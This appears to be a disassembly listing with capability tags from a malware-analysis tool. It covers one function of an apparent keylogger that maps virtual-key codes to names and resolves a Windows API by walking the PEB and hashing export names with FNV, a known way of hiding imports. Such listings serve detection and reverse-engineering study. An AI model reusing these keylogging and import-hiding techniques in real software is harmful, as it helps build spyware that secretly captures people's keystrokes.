Function at 0x180004140
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Log keystrokes
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movzx edi, dl
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edx, edx
mov ecx, edi
xor r14d, r14d
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov ebp, eax
cmp dil, 1
jne 0x1800041b9
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov ecx, dword [str.MOUSE0]
mov dword [rbx], ecx
movzx ecx, word [0x180035858]
mov word [rbx + 4], cx
mov byte [rbx + 6], r14b
jmp 0x180004474
cmp dil, 2
jne 0x1800041f1
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.MOUSE1]
mov dword [rbx], eax
movzx eax, word [0x180035860]
mov word [rbx + 4], ax
mov byte [rbx + 6], r14b
jmp 0x180004474
cmp dil, 4
jne 0x180004234
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.MBUTTON]
mov dword [rbx], eax
movzx eax, word [0x18003586c]
mov word [rbx + 4], ax
movzx eax, byte [0x18003586e]
mov byte [rbx + 6], al
mov byte [rbx + 7], r14b
jmp 0x180004474
cmp dil, 5
jne 0x180004266
xorps xmm0, xmm0
movabs rax, 0x314e4f5454554258
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
mov qword [rbx], rax
mov byte [rbx + 8], r14b
jmp 0x180004474
cmp dil, 6
jne 0x180004298
xorps xmm0, xmm0
movabs rax, 0x324e4f5454554258
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
mov qword [rbx], rax
mov byte [rbx + 8], r14b
jmp 0x180004474
lea eax, [rdi - 0x21]
cmp eax, 0x84
ja case.0x1800042bd.41
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x44bc]
mov ecx, dword [rdx + rax*4 + 0x44b4]
add rcx, rdx
jmp rcx
bts ebp, 8
mov rax, qword gs:[0x60]
shl ebp, 0x10
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180004357
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180004357
mov esi, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc94a54af
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rsi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180004352
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180004330
cmp r8d, 0x3b14ea9f
je 0x18000435c
test r9d, r9d
jne 0x180004310
mov rax, qword [rax]
jmp 0x1800042e0
mov ecx, dword [rdi + 0x24]
mov r8d, 0x80
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x30]
add rax, r10
mov ecx, ebp
call rax
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov rdi, 0xffffffffffffffff
mov qword [rbx + 0x18], r14
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r14b
jne 0x1800043a0
movabs rsi, 0x7fffffffffffffff
cmp rdi, rsi
ja 0x1800044ab
mov qword [rbx + 0x18], 0xf
cmp rdi, 0xf
ja 0x1800043e7
mov r8, rdi
mov qword [rbx + 0x10], rdi
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.18002a580
mov byte [rdi + rbx], r14b
jmp 0x180004474
mov rax, rdi
or rax, 0xf
cmp rax, rsi
jbe 0x180004420
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1800133cc
test rax, rax
je 0x18000449f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x180004454
mov ecx, 0x16
mov rsi, rax
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x180004447
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800044a5
jmp 0x180004401
test rcx, rcx
je 0x180004454
call fcn.1800133cc
mov r14, rax
mov r8, rdi
mov qword [rbx], r14
lea rdx, [rsp + 0x30]
mov qword [rbx + 0x10], rdi
mov rcx, r14
mov qword [rbx + 0x18], rsi
call fcn.18002a580
mov byte [r14 + rdi], 0
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180013110
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.18001c438
int3
call fcn.180001160
int3
call fcn.180001200
int3